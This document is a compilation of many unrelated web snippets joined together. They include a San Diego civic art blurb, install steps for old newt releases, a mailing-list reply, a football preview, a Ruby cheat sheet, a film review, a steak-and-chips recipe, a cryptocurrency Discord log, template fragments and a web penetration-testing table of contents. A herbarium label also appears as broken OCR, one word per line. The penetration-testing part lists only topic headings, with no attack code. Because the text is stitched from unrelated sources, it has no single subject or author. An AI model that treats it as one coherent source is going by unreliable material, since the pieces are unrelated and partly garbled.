--- layout: art-map title: Civic Art Collection permalink: /public-art/ ---
Managed by the City of San Diego Commission for Arts and Culture, the Civic Art Collection has grown since 1909 to include paintings, sculptures, works on paper and prints that are exhibited primarily in the working environments of municipal buildings. The Civic Art Collection is further distinguished by integrated artworks in the City’s libraries, parks, public safety facilities, civic buildings and other public spaces throughout San Diego. Use this map to plan your own tour of civic artwork in San Diego. Further information about the Civic Art Collection can be found at www.sdcivicartcollection.com


Characteristics of a zombie
-------------
Can you define that so that a computer can understand?
Download processing simulator: Ghosts
Download questions


Installing Previous Releases of Newt¶
This page shows you how to install previous releases of newt for macOS, Linux, and Windows.
macOS¶
You can install previous releases of newt using<EMAIL_ADDRESS>Homebrew formulas, where X.Y is a version number.
For example, if you want to install newt 1.0, run the following commands:
$ brew update
$ brew install<EMAIL_ADDRESS>Note: This is a keg-only installation. newt 1.0 is installed in<EMAIL_ADDRESS>but not symlinked into /usr/local/bin.
If you need this version of newt first in your PATH, run the following commands:
$ echo 'export PATH=/usr/local/Cellar/mynewt-newt@1.0/1.0.0/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile
You can also manually symlink into /usr/local/bin as follows:
Unlink newt if you have the latest version of newt installed:
$ brew unlink mynewt-newt
Link<EMAIL_ADDRESS>into /usr/local/bin:
$ brew link -f<EMAIL_ADDRESS>Linux¶
Download the binary:
Version Download 1.0.0 newt_1.0.0-1_amd64.deb 1.1.0 newt_1.1.0-1_amd64.deb 1.3.0 newt_1.3.0-1_amd64.deb 1.4.0 newt_1.4.0-1_amd64.deb 1.4.1 newt_1.4.1-1_amd64.deb Run the
sudo apt-get remove newt
command to remove the the current installation.Install the package. For example, run
sudo dpkg -i newt_1.0.0-1_amd64.deb
to install newt 1.0.0
Windows¶
Download the binary:
Version Download 1.1.0 newt_1_1_0_windows_amd64.tar.gz 1.3.0 newt_3_1_0_windows_amd64.tar.gz Extract the file:
If you previously built newt from the master branch, you can extract the file into your $GOPATH/bin directory. Note: This overwrites the current newt.exe in the directory and assumes that you are using $GOPATH/bin for your Go applications.
tar -xzf newt_1_1_0_windows_amd64.tar.gz -C $GOPATH/bin
If you are installing newt for the first time and do not have a Go workspace setup, you can extract into /usr/bin directory:
tar -xzf newt_1_1_0_windows_amd64.tar.gz -C /usr/bin


[gecode-users] webmaster's email not working
Guido Tack
tack at gecode.org
Fri Dec 21 23:31:20 CET 2012
Hi,
I just re-enabled the webmaster address.
Cheers,
Guido
--
Guido Tack
On 22/12/2012, at 9:04, "victor.zverovich at gmail.com" <victor.zverovich at gmail.com> wrote:
> Hi,
>
> I've tried to contact the webmaster of www.gecode.org on webmaster at gecode.org , but got "550 Unrouteable address". Is there an alternative contact for website-related questions?
>
> Best regards,
> Victor
> _______________________________________________
> Gecode users mailing list
> users at gecode.org
> https://www.gecode.org/mailman/listinfo/gecode-users
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.gecode.org/pipermail/users/attachments/20121222/fbab7a63/attachment.html>
More information about the users
mailing list


Neal Ardley mindful of 'dangerous' Aldershot as Notts County look for response
Magpies are hoping to bounce back from Barrow defeat
by Leigh CurtisNeal Ardley believes Aldershot's 6-1 mauling at the hands of Dagenham will make them a "dangerous side" when Notts County face the National League strugglers this weekend.
Shots boss Damon Searle is hoping for a response from his players after their hammering at Peter Taylor's side last weekend as he blasted their performance as a "disgrace".
Ardley says both teams are going into the fixture as "wounded animals" with the Magpies keen to issue their own come back from a 3-0 defeat at home to Barrow last weekend.
The Notts boss is unsure of what to expect from the Shots, but is adamant that his side will be have to be on top form if they are to pick up a result.
“They’ll make sure their performance levels are a lot higher this week and that makes them a dangerous side,” he said.
“They’re a team who mix up their shape, and their last result makes it hard to know what to expect because they might change things.
“That’s where our scenario training comes in – that helps us to try and cope with it all.
“We’ll have to go there and do a lot well to earn the right to win.”


object SQLiteSeqSchema
Contains the names of the columns used by SQLite's internal table ('sqlite_sequence') for auto-incrementing.
See the SQLite docs 'sqlite_sequence'.
const val COL_NAME: String |
|
const val COL_SEQ: String |
|
const val TABLE_NAME: String |


?6
7
8
9
10
SSL;
The
New
York
copyright
reserved
botanical
Garden
DOMINICA,
WEST
INDIES
Enicostema
verticillatum
(L.)
Engl,
det.
R.L.
Wilbur
1967
Common.
Corolla
white.
Leaves
succulent.
Pagua
Bay
on
the
northeastern
coast.
7529
R.
L.
Wilbur
no.
16
July
1964
E.
L.
Dunn,
H.
A.
Hespenheide,
D.
R.
Wiseman
BREDIN
-
ARCHBOLD
-
SMITHSONIAN
BIOLOGICAL
SURVEY
1624504
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Ruby Cheat Sheet
| Concept | Code | Example | Description |
|---|---|---|---|
| Comment |
#
|
#comment in the code
|
Ruby ignores everything that is marked as a comment. It does not try to execute it. Comments are just there for you as information. Comments are also commonly used to comment out code. That is when you don't want some part of your code to execute but you don't want to delete it just yet, because you are trying different things out. |
| Variables | variable = some_value |
name = "Tobi"
|
With a variable you tell Ruby that from now on you want to refer to that value by the name you gave it. So for the first example, from now on when you use name Ruby will know that you meant "Tobi". |
| Console output |
puts something |
puts "Hello World"
|
Prints its argument to the console. Can be used in Rails apps to print something in the console where the server is running. |
| Call a method |
object.method(arguments)
|
string.length
|
Calling a method is also often referred to as sending a message in Ruby. Basically we are sending an object some kind of message and are waiting for its response. This message may have no arguments or multiple arguments, depending on the message. So we kindly ask the object to do something or give us some information. When you "call a method" or "send a message" something happens. In the first example we ask a String how long it is (how many characters it consists of). In the last example we substitute all occurrences of "ae" in the string with the German "ä". Different kinds of objects (Strings, Numbers, Arrays...) understand different messages. |
| Define a method |
def name(parameter)
|
def greet(name)
|
Methods are basically reusable units of behaviour. And you can define them yourself just like this. Methods are small and focused on implementing a specific behaviour. Our example method is focused on greeting people. You could call it like this: greet("Tobi") |
| Equality |
object == other
|
true == true #
|
With two equal signs you can check if two things are the same. If so, true will be returned; otherwise, the result will be false .
|
| Inequality |
object != other
|
true != true # => false
|
Inequality is the inverse to equality, e.g. it results in true when two values are not the same and it results in false when they are the same.
|
| Decisions with if |
if condition
|
if input == password
|
With if-clauses you can decide based upon a condition what to do. When the condition is considered true, then the code after it is executed. If it is considered false, the code after the "else" is executed. In the example, access is granted based upon the decision if a given input matches the password. |
| Constants | CONSTANT = some_value
| PI = 3.1415926535
|
Constants look like variables, just in UPCASE. Both hold values and give you a name to refer to those values. However while the value a variable holds may change or might be of an unknown value (if you save user input in a variable) constants are different. They have a known value that should never change. Think of it a bit like mathematical or physical constants. These don't change, they always refer to the same value. |
| Create (String) |
'A string' |
'Hello World' |
A string is created by putting quotation marks around a character sequence. A Ruby style guide recommends using single quotes for simple strings. |
| Interpolation (String) |
"A string and an #{expression}" |
"Email: #{user.email}" |
You can combine a string with a variable or Ruby expression using double quotation marks. This is called "interpolation." It is okay to use double quotation marks around a simple string, too. |
| Length (String) |
string.length |
"Hello".length # => 5 |
You can send a string a message, asking it how long it is and it will respond with the number of characters it consists of. You could use this to check if the desired password of a user exceeds the required minimum length. Notice how we add a comment to show the expected result. |
| Concatenate (String) |
string + string2 |
"Hello " + "reader" |
Concatenates two or more strings together and returns the result. |
| Substitute (String) |
string.gsub(a_string, substitute) |
"Hae".gsub("ae", "ä") |
gsub stands for "globally substitute". It substitutes all occurrences of a_string within the string with substitute . |
| Access (String) |
string[position] |
"Hello"[1] => "e"
|
Access the character at the given position in the string. Be aware that the first position is actually position 0. |
| Create (Array) |
[contents] |
[] |
Creates an Array, empty or with the specified contents. |
| Number of Elements (Array) |
array.size |
[].size # => 0 |
Returns the number of elements in an Array. |
| Access (Array) |
array[position] |
array = ["hi", "foo", "bar"] |
As an Array is a collection of different elements, you often want to access a single element of the Array. Arrays are indexed by numbers so you can use a number to access an individual element. Be aware that the numbering actually starts with "0" so the first element actually is the 0th. And the last element of a three element array is element number 2. |
| Adding (Array) |
array << element |
array = [1, 2, 3] |
Adds the element to the end of the array, increasing the size of the array by one. |
| Assiging (Array) |
array[number] = value |
array = ["hi", "foo", "bar"] |
Assigning new Array Values works a lot like accessing them; use an equals sign to set a new value. Voila! You changed an element of the array! |
| Delete at index (Array) |
array.delete_at(i) |
array = [0, 14, 55, 79] |
Deletes the element of the array at the specified index. Remember that indexing starts at 0. If you specify an index larger than the number of elements in the array, nothing will happen. |
| Iterating (Array) |
array.each do |e| .. end |
persons.each do |p| puts p.name end |
"Iterating" means doing something for each element of the array. Code placed between do and end determines what is done to each element in the array.
The first example prints the name of every person in the array to the console. The second example simply doubles every number of a given array. |


Implements an efficient O(n) algorithm based on bucket-sorting for fast computation of standard clustering comparison measures. Available measures include adjusted Rand index (ARI), normalized information distance (NID), normalized mutual information (NMI), normalized variation information (NVI) and entropy, as described in Vinh et al (2009) <doi:10.1145/1553374.1553511>.
| Version: | 0.1.1 |
| Imports: | Matrix, Rcpp |
| LinkingTo: | Rcpp |
| Suggests: | testthat |
| Published: | 2018-05-02 |
| Author: | Julien Chiquet [aut, cre], Guillem Rigaill [aut], Valentin Dervieux [ctb] |
| Maintainer: | Julien Chiquet <julien.chiquet at inra.fr> |
| BugReports: | https://github.com/jchiquet/aricode/issues |
| License: | GPL (≥ 3) |
| URL: | https://github.com/jchiquet/aricode (dev version) |
| NeedsCompilation: | yes |
| Materials: | NEWS |
| CRAN checks: | aricode results |
| Reference manual: | aricode.pdf |
| Package source: | aricode_0.1.1.tar.gz |
| Windows binaries: | r-devel: aricode_0.1.1.zip, r-release: aricode_0.1.1.zip, r-oldrel: aricode_0.1.1.zip |
| OS X binaries: | r-release: aricode_0.1.1.tgz, r-oldrel: aricode_0.1.1.tgz |
Please use the canonical form https://CRAN.R-project.org/package=aricode to link to this page.


FINAL DESTINATION (M). (New Line Cinema/Village Roadshow) Director: James Wong Stars: Devon Sawa, Ali Larter, Kerr Smith, Tony Todd, Kristen Cloke, Seann William Scott, Chad E Donella, Amanda Detmer, Daniel Roebuck, Roger Guenveur Smith.
Teen hunk Devon Sawa (Wild America, Casper, etc) seems keen on carving out a little niche for himself in the teen horror genre. First there was the decidedly juvenile Idle Hands, and now there's the formulaic Final Destination, a teen slasher film that seems influenced by The Twilight Zone. Final Destination also owes a lot to films like Friday The Thirteenth and the Scream series, albeit without the knowing genre references and irreverent style.
Sawa plays Alex Browning, who seems blessed, or cursed, with the ability to see death coming. When he and several class mates are setting off for a trip to Paris, Alex has a premonition that the plane will explode in spectacular fashion immediately after take off. He creates a panic, resulting in him, five friends and a teacher being thrown off the plane. Soon after, the plane does explode, and Alex falls under FBI suspicion. The seven survivors try to deal with their guilt and sense of loss in different ways. But it soon seems that the seven have only temporarily escaped fate, as one after another they begin to perish in bloody and mysterious circumstances. Alex believes that the deaths are following a pattern and desperately tries to save his friends and cheat fate once again. Under the guise of the formulaic teen supernatural slasher genre, co-writers James Wong and Glen Morgan (who contributed to episodes of spooky tv series like The X Files) explore some important philosophical questions. Is there a pattern to the way we lead our lives and the manner and timing of our deaths? Can we really cheat death if our time is up? Is Alex deluding himself into believing that events are following a pattern, and that he holds the power of life over death in his hands? However, many of these themes become a little loss amongst the gore and bloodletting.
The symbolism during the opening scenes is heavy handed, but Wong's handling of several scenes throughout injects some suspense, a sense of dread and even some unexpected touches of humour into the proceedings. His direction sometimes shows flair and invention, and an understanding of the demands and limitations of this genre. He maintains a fast pace throughout that, albeit temporarily, glosses over many of the implausibilities, inconsistencies and gaping holes in the narrative. The performances of the mainly young and unknown cast are more than adequate for this type of film. Fans of the genre will recognise Tony Todd, the original Candyman, in a cameo as an unnerving mortician.
Final Destination may not be a classic of the genre, but it delivers enough thrills and shocks to satisfy its target audience!
**1/2 greg king http://www.netau.com.au/gregking
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Lab 10 - AWS User Service
By Josh Neustrom (#39)
Hi {{fname}}, Here is Your Info
Sign out
Email
{{email}}
First Name:
{{fname}}
Last Name
{{lname}}
Delete User
Update User


Room:
loading...
Current Modes:
loading...
+i
Invite Only
+f
Filter
+m
Moderated Room
+p
Private Room
+t
Topic set by Op
+u
Room Knock
+w
Whispers Off
+P
Join Flood Protection
+W
No Guest Whispers
+l
Room Limit
set
+k
Room Key
set
unset


{% extends "core/base.html" %} {% load staticfiles %} {% block main %} {{ code }} ERROR {{ detail }} Please use the navigation options above to continue your search or return to the homepage {% endblock %}
{{ detail }}
Please use the navigation options above to continue your search or return to the homepage


Our site is an online forum that allows students to ask and answer question they may have relating to their college.
Join the discussion and enter our live chat, a live chatroom where you can ask question and get them answered by anyone thats online.
Our site is an online forum that allows students to ask and answer question they may have relating to their college.
Our site is an online forum that allows students to ask and answer question they may have relating to their college.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 4
This simple classic takes skill to get exactly right. Si and Dave show you how, with precision-cooked meat.
For the chips, heat the oil in a deep-fat fryer set to 160C. Alternatively, heat the oil in a deep-sided, heavy-based saucepan until a breadcrumb sizzles and turns golden-brown when dropped into it. (CAUTION: Hot oil can be dangerous. Do not leave unattended.)
Rinse the chips under cold water in a colander for 1-2 minutes to remove excess starch. (You may need to do this in batches.)
Transfer the chips to a large pan of salted water. Bring the water to the boil, then reduce the heat slightly and simmer the chips until just tender. Drain well and set aside to cool and dry further.
When the chips have cooled and dried, carefully lower batches of them into the hot oil. Cook for 6-8 minutes, or until pale golden-brown. Remove the chips from the hot oil using a slotted spoon and transfer to a bowl.
Increase the temperature of the oil to 190C.
Carefully lower batches of the chips into the hot oil once more, frying for 2-3 minutes, or until dark golden-brown, before removing and setting aside to drain on kitchen paper. Keep warm.
Meanwhile, for the steak, preheat the oven to 200C/180 Fan/Gas 6.
Heat the oil in a heavy-based, ovenproof frying pan over a high heat until it is smoking hot. Season the steaks with salt.
When the pan is hot, add the steaks and fry for 2-3 minutes on each side, or until the meat is dark golden-brown on both sides (you may need to do this in batches).
Add the butter to the pan and transfer to the oven, Roast the meat for 8 minutes or until cooked to your liking.
Remove the pan from the oven and baste the steaks with the melted butter. Remove the meat from the pan and set aside to rest for a minimum of 10 minutes.
To serve, place the steaks on serving plates. Pile the chips alongside. Serve with a handful of fresh watercress.


JavaScript
SYNTAX:var array = ["one", "two", "three"] for (var i = 0; i < array.length; i++) { do something; }
var array = ["one", "two", "three"] for (var i = 0; i < array.length; i++) { console.log(array[i] + " pineapple(s)"); }
by Sarah Ing + Jessie Wu
Example: given ["one", "two", "three"]
Output =>
one pineapple(s)
two pineapple(s)
three pineapple(s)
Example: given numbers 0 through 10, find the odd numbers.
Output =>
1
3
5
7
9
Example: given it's your birthday, get the even number of pina colada drinks (excluding 0 since no person can resist drinking 0 pina colada drink on their birthday).
Output =>
I can drink 2 pina colada drinks.
I can drink 4 pina colada drinks.
I can drink 6 pina colada drinks.
I can drink 8 pina colada drinks.
I can drink 10 pina colada drinks.
JavaScript
SYNTAX:var array = ["one", "two", "three"] for (var i = 0; i < array.length; i++) { do something; }
var array = ["one", "two", "three"] for (var i = 0; i < array.length; i++) { console.log(array[i] + " pineapple(s)"); }
JavaScript
SYNTAX:for (var i = 0; i < array.length; i++) { if (conditional statement) { do something; } }
var array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10] for (var i = 0; i < array.length; i++) { if (array[i] % 2 != 0) { console.log(array[i]); } }
JavaScript
SYNTAX:var counter = starting value while (true statement) { do something; counter increment; }
var number = 2; while (number <= 10) { console.log("I can drink " + number + " pina colada drinks."); number+=2; }
Ruby
SYNTAX:array.each {|variable| do something}
array = ["one", "two", "three"] array.each {|number| puts number + " pineapple(s)"}
Ruby
SYNTAX:for i in 0..n do something end
for i in 0..10 do puts i if i % 2 != 0 end
Ruby
SYNTAX:counter = starting value while(true statement) counter increment do something end
number = 2 while number <= 10 number += 2 puts "I can drink " + number.to_s + " pina colada drinks." end


Send a notification for every 1 5 10 20 message(s) sent in a channel
Click here to sign out of gmg. All your data will be cleared and you will be required to authenticate and sign in again if you want to use gmg again.


A passionate developer who brings creative ideas from areas, including data storage, UI/UX design, and progressive web applications with a strong understanding of the entire web development process and adaptable to any work environment.
I love to code, build products that solve user problems with the latest technology available. I am highly motivated, always acquire for knowledge and eager to learn new technology applied to modern engineering applications.
I have expertise in translating UI/UX design wireframes with actual code to visual elements. I focus much on providing the best user experience on any device like mobile, desktop, tv, etc.
In my free time, I love to shoot and make cinematic videos and playing outdoor games like cricket, volleyball, badminton, etc.
The web app which provides you a one stop updates on COVID-19. Not only updates, it helps us to find open stores nearby during quarantine period. It also acts as a bridge between the users and the doctors and helps with booking the appointment.
A robust weather forecasting application to provide current and 24 hour 7 day weather forecast for any city in the world built with ❤ using React.
A virtual keyboard with cool effects and key functionalities.
Cantela is fastest 💨, largest 🌐 and most robust 💪 desktop application which streams music as well as video available on YouTube without any Ads built with ❤ using Electron.
The Application is based on machine learning algorithm that can be used for assessment of pavement condition on the basis of 🖼 Road photographs.


Welcome to the Routes Example!
Home
Another Page
{{> Template.dynamic template=main}}
This is home!
This is anotherPage!


{{totalBuilding}}
Total Buildings
{{underMaintenanceCount}}
Maintenance
Total Lights : {{totallight}}
{{connectedDeviceCount}}
On
{{disconnectedDeviceCount}}
Off
Current Status Of Lights
{{energyCount}} KW
Energy Consumption
{{totalAlerts}}
Total Alerts (Today)
Locations
Buildings
{{building['name']}}
Total Zones - {{building.totalSubEntities}}
Total Lights - {{building.totalDevices}}
No records found
Top Usage Lights
No Data found
-
{{usage.energy}} KW {{usage.zone}} of {{usage.building}}
Alerts
- 0" class="alerts-dashboard dashboard-alerts-custom">
- {{getLocalDate(alert['eventDate'])}} {{alert.message}}
No records found
Critical
Information
Major
Minor
Warning


The Lector Experience
John Lennon, Paul McCartney, Ringo Starr, George Harrison, Jimi Hendrix, David Gilmour, Roger Waters, Richard Wright, Nick Mason, Nikola Tesla, Elon Musk, Steve Jobs, Bill Gates, Albert Hoffman, Albert Einstein, Steven Hawking, Marie Curie, Taylor Swift, Billie Eilish,
Demo on how you would embed multiple isolated lectors in your page Your breath is sweet Your eyes are like two jewels in the sky Your back is straight, your hair is smooth On the pillow where you lie I don't sense affection Nor no gratitude or love Your loyalty is not to me but to the stars above One more cup of coffee for the road One more cup of coffee before I go To the valley below Your daddy, he's an outlaw And a wanderer by trade He'll teach you how to pick an' choose And how to throw the blade He oversees his kingdom Where no stranger does intrude His voice it trembles as he calls out For another plate of food One more cup of coffee for the road One more cup of coffee before I go To the valley below Your sister sees the future Like your momma and yourself She never learned to read or write There's no books upon her shelf And her pleasure knows no limits Her voice is like a meadow lark But her heart is like an ocean So mysterious and dark One more cup of coffee for the road One more cup of coffee before I go To the valley below


Pirate (ARRR) is a cryptocurrency that solves the issue of financial privacy on the blockchain through forced anonymous transactions. Protect your wallet and transactions with Pirate’s completely anonymous network. With forced private transactions, your privacy cannot be compromised by another users’ activity on the network. If you wish to learn more, please join the official Pirate Discord at https://pirate.black/discord/ or message FishyGuts#5085, who will be happy to help out.
@balajis @VitalikButerin @lopp @ljxie @dwr In the pre-privacy days of the web, users broadcast unencrypted data to whoever was listening. Then HTTPS happened.
@zooko and @jswihart argue that we're in a similar pre-privacy era of blockchains. And now Zcash is happening. ht...
Great article about z-transactions. The pre-encryption internet (http) as an allegory for the pre-encryption blockchains. z-tx resemble the next evolutionary step, https. The winner of the FIRST "crypto war" was encryption .
Kudos, @zooko! $ZEC $ARRR
https://t.co/yMvw...
GatewayBOT05-Jan-20 01:32 AM
[dscrd-prt] <+dreamTim> zcash deserve a lot of credit for paving the way but it is time for :pirate_p: now to work itself at the top of this discussion.
thank you for all your efforts @JiuCrypto. your work is amazing :pirate: :pirate: :pirate:(edited)
GatewayBOT05-Jan-20 02:27 AM
[dscrd-prt] <JiuCrypto> @+dreamTim thank you!
GatewayBOT05-Jan-20 04:31 AM
[dscrd-prt] <Hember> There are already 58 followers to ARRRchive on LBRY.
[dscrd-prt] <Hember> I'm aiming to 500 followers by the end of the month. Thant would make ARRRchive rank60 channel (on today's stats).
GatewayBOT05-Jan-20 04:48 AM
[dscrd-prt] <LoPhatMelk> Just signed up and followed, #59
[dscrd-prt] <Hember> Yeah, I noticed.
[dscrd-prt] <Hember> The channel has now 1013.77 LBC staked support.
[dscrd-prt] <Hember> That will already cause it to be seen more often. I hope as the content accumulates the support gets bigger too. I've seen many channels with bigger support and less content. I think it is good to offer good amount of content when the views on the channel start to go up.
GatewayBOT05-Jan-20 05:04 AM
[dscrd-prt] <Hember> If any of you have proved your humanness, I suggest you to watch at least one pic/vid a day. That will give you rewards. And I think the ath of LBC has been 1,2 dollars. I once got a 100 reward. But that is the biggest there is and that almost never happens. Still thinking about it, I doesn't cost me anything, and one day that one view may be worth 120 dollars
[dscrd-prt] <Hember> And it is easy to buy ARRR with it as you can trade it in Coinex
[dscrd-prt] <+dreamTim> i have not been able to, spoken to them on their discord but they want payment info or id
[dscrd-prt] <Hember> yeah, i think you need to prove it with your phone, credit card or id that you are a human
[dscrd-prt] <+dreamTim> i need a new phone :troll:
[dscrd-prt] <Hember>
GatewayBOT05-Jan-20 06:08 AM
[dscrd-prt] <Hember> Support growing.
GatewayBOT05-Jan-20 07:31 AM
[dscrd-prt] <tsa> Trend arrr grow
GatewayBOT05-Jan-20 07:55 AM
[dscrd-prt] <Hember> (Good moment for anyone to buy LBC now. Price came down quite fast. Possibility to give support for a while and then cash out some gains. If goes down to 0.0000035000, I'll be buying a bunch.. Or I have a buy offer ready there. That'll go to support.)
Seth "mineyourbiz" Estrada's YouTube Channel! Part mining report, part video podcast, part instructional media, and part hands-on building/making/DIY learnin...
[dscrd-prt] <Cryptofist> @LocoMB
GatewayBOT05-Jan-20 06:51 PM
[dscrd-prt] <JiuCrypto> Guys... Question: How serious do you take the (claimed) z-tx meta data leak discussed in HUSH discord?
[dscrd-prt] <JiuCrypto> According to them it's serious.
[dscrd-prt] <JiuCrypto> I think it would be good to find a position on that.
[dscrd-prt] <JiuCrypto> HUSH developed something called Sietch that is said to make it a lot more difficult
[dscrd-prt] <JiuCrypto> Just curious what ARRR's take is on that.
[dscrd-prt] <JiuCrypto> @jl777c may I ask you for your opinion about that?
[dscrd-prt] <Diablo_> wasn't that quite a lot of semi nonsense?
[dscrd-prt] <Diablo_> or is that the second part of it now
[dscrd-prt] <JiuCrypto> @Diablo_ tbh... I am not qualified to answer that question
[dscrd-prt] <JiuCrypto> LOL
[dscrd-prt] <Diablo_> got a link to an article or something?
[dscrd-prt] <JiuCrypto> @Diablo_ there ahs been an discussion going on in their Discord. But give me a min and I'll share some links from their github
(or, sum of previous output notes in the case where there is more than one shielded input). This is mostly significant for unshielding transactions where the value is public, but it is also technic...
[dscrd-prt] <Draeth> @kaks was just showing that I responded to him
[dscrd-prt] <ComputerGenie > HUSH developed something called Sietch
(as I read it) basically it's nothing more than forcing extra outputs to increase the resources required to track data
it has its benefits, but I'm not sure if it's any better than (and afaik it's weaker than) deadending 1 sat for every tx(edited)
I'm a @PirateChain supporter since almost day one, a lot of time has already passed, and nothing has changed my mind that $ARRR is one of the best if not the best privacy-focused project out there.
If you care about privacy, go and take a look at @PirateChain. https://t....
GatewayBOT05-Jan-20 07:53 PM
[dscrd-prt] <Blackbeard> Thanks for sharing, Jiu
[dscrd-prt] <JiuCrypto> @Blackbeard
GatewayBOT05-Jan-20 08:09 PM
[dscrd-prt] <> That 'sietch' solution is hilarious... In my experience 99.9999% of the people shield to z- and unshield to the same t-address they shielded from.... The solution they use just increases load on machines and blockchain...
[dscrd-prt] <ComputerGenie > I wouldn't say "just", but yes it does do that too
[dscrd-prt] <ComputerGenie > the idea is to make it happen behind the scenes because they aren't going to follow best practices on their own
[dscrd-prt] <> If used properly, it can add extra safety. But not any safety a user couldn't create for themself.(edited)
[dscrd-prt] <> because they aren't going to follow best practices on their own
I agree with what you say, but that's a point worth a discussion... I'll force you to do it safe, you have no choice in the matter... I've seen similar measures from governments too often...
[dscrd-prt] <ComputerGenie > Well, as you can tell by the fact that he banned me from the HUSH discord months after using discord ignore feature on me over a Komodo NN discussion, duke and I don't always agree on what's "right"
[dscrd-prt] <ComputerGenie > ♂
[dscrd-prt] <> Well, everybody's got his own perspective...(edited)
[dscrd-prt] <ComputerGenie > I promised to be publicly supportive of non-combative with other ecosystem projects, so I will not comment on that....(edited)
[dscrd-prt] <> Yeah, I better remove that... Don't want to start another war(edited)
[dscrd-prt] <> By the way: compliments for your correctness in this matter!(edited)
[dscrd-prt] <ComputerGenie > well, don't compliment me too much; I did, at one point, consider adding the burn 1 sat method to PO
[dscrd-prt] <ComputerGenie > much like many other things, it mostly didn't happen because I end up having a Dr appointment what feels like every 15 minutes of my life
dukeleto05-Jan-20 09:35 PM
Hilarious to hear expert "pirates" talk about Sietch that don't even know how to calculate an anonset or what a nullifier is, who have 0 commits into any kind of important code that is relevant to having a valuable opinion.  Not worth the hassle. And he surely does not grasp what he speaks of above
James already gave me private feedback, it's hilarious to see y'all doing damage control saying it's worthless. Get a clue people.
How is calculating the Pirate anonset in real-time going? Where are all the devs working on that? Or do you expect to ride on the back of jl777 forever, doing nothing?


P.A.Y.E. Calculator
Enter Salary Without Currency
Select Salary Occurrence
Monthly
Annually
Calculate P.A.Y.E.


Device motion-activity when this location was recorded (eg: still
, on_foot
, in_vehicle
).
Device battery level when the location was recorded.
latitude
, longitude
, speed
, heading
, etc.
Event responsible for generating this location (motionchange
, providerchange
, geofence
, heartbeat
).
Optional arbitrary meta-data attached to this location.
If this location was recorded due to a geofence transition, the corresponding geofence-event.
true
if location was recorded while plugin is in the moving state.
Present (and true
) if the location was generated by a "Fake Location" application or simulator.
Distance-traveled in meters. ℹ
If this location was recorded due to ProviderChangeEvent, this is a reference to the location-provider state.
true
if the plugin is currently waiting for the best possible location to arrive. Samples are recorded when the plugin is transitioning between motion-states (moving vs stationary) or BackgroundGeolocation.getCurrentPosition.
If you're manually posting location to your server, you should not persist these "samples".
ISO-8601 UTC
timestamp provided by the native location API.
Universally Unique Identifier. You can use this to match locations recorded at your server with those in the logs. It can also be used to ensure if the plugin has ever posted the same location twice.
Generated using TypeDoc
Javascript Callback Schema
HTTP POST Schema
The location-data schema POSTed to your server takes the following form:


Special Thanks
Information Gathering
Target Validation
Domain Registration
DNS Interrogation
Testing for Zone Transfers
OSINT Harvesting
Mapping
Identify Technologies
Port Scanning, Service Fingerprinting, and OS Detection
Browser and Interception Proxy Setup
Firefox
Firefox Extensions
Configure Firefox for Burp
Burp Configuration
Burp Extensions
Manual Mapping
Automated Mapping
Post-Mapping Analysis
Discovery
Transitioning from Mapping to Discovery
Content Discovery
Vulnerability Scanning
Forced Browsing
Testing for Alternative Content
Automated Discovery
Configuration
Default Configurations
Testing for Misconfigurations
Authentication
Fuzzing Logins
Session Management
Testing Session Tokens With Burp
Authorization
Testing Access Control
Data Validation Testing
SQL Injection
Cross-site Scripting (XSS)
XML Injection
XML External Entities (XXE)
Template Injection
OS Command Injection
Open Redirection
Local File Inclusion (LFI)
Remote File Inclusion (RFI)
Business Logic
Encryption Flaws
Denial-of-Service
Flash Applications
Testing Web Services
Testing REST Web Services
Testing SOAP Web Services
Exploitation
Exploitation Scenarios
Exploiting Cross-site Scripting
Browser Hyjacking
Exploiting SQL injection
Data Extraction
Offline Password Cracking
Authentication Bypass
Cross-site Request Forgery (CSRF)
Closing


Retry.Rd
A class for creating a Retry block
stepfunctions::Block
-> Retry
new()
Initialize a Retry block.
Retry$new( error_equals, interval_seconds = NULL, max_attempts = NULL, backoff_rate = NULL, ... )
error_equals
(list(str)): Non-empty list of strings, which match Error Names https://states-language.net/spec.html#error-names. When a state reports an error, the interpreter scans through the retries and, when the Error Name appears in the value of a retrier’s `error_equals` field, implements the retry policy described in that retrier.
interval_seconds
(int, optional): Positive integer representing the number of seconds before the first retry attempt. (default: 1)
max_attempts
(int, optional): Non-negative integer representing the maximum number of retry attempts. (default: 3)
backoff_rate
(float, optional): A number which is the multiplier that increases the retry interval on each attempt. (default: 2.0)
...
: Extra field names to pass to Block class
allowed_fields()
allowed extra fields
Retry$allowed_fields()
clone()
The objects of this class are cloneable with this method.
Retry$clone(deep = FALSE)
deep
Whether to make a deep clone.


Browser Based Technologies (HTML, CSS, JavaScript, jQuery)
React.js
Handlebars.js
Deployment (Heroku, Git)
Misc
Working in Aglie Environment
Collaboration in Teams
Quality Assurance
About Me
My name is Sina Farheidar-Smith, an ambitious student and Full Stack Developer driven by my passion for development and a love for learning new technologies. I would describe myself as a team oriented, hard worker who perseveres when faced with adversity. Experienced with Javascript, Java, HTML, CSS, and the MERN Stack.
Projects
Holiday Traveler
Amp My Fitness
Mini Photo Editor
Mini Photo Editor
Through the use of GUI's and filters created from scratch, users are able to choose available filters and apply them to an image of their choice
Technologies Used:
Java
Amp My Fitness
Amp My Fitness (AMF) is an interactive exercise app that allows users to sign in, and check their BMI, and max heart rate. AMF also allows users to access to exercises using a custom API. In addition users can watch Youtube videos pertaining to their workout through the use of the Youtube API.
Technolgies Used:
Express.js
Node.js
HTML
Javascript
React.js
MongoDB
Holiday Traveler
A full stack application that allows users to select a country and month to see what upcoming Holidays are there.


Imagine you own a bustling salon. As a business owner, quality customer service is a top priority. One of the best measures of your service is your online reputation via client reviews. To help service-based businesses manage their online reviews, Demandforce, a marketing and reputation managment SaaS, offers a reviews feature. Within this feature, a user's main tasks are to read and reply to client reviews. On occasion, a user may dispute offending reviews.
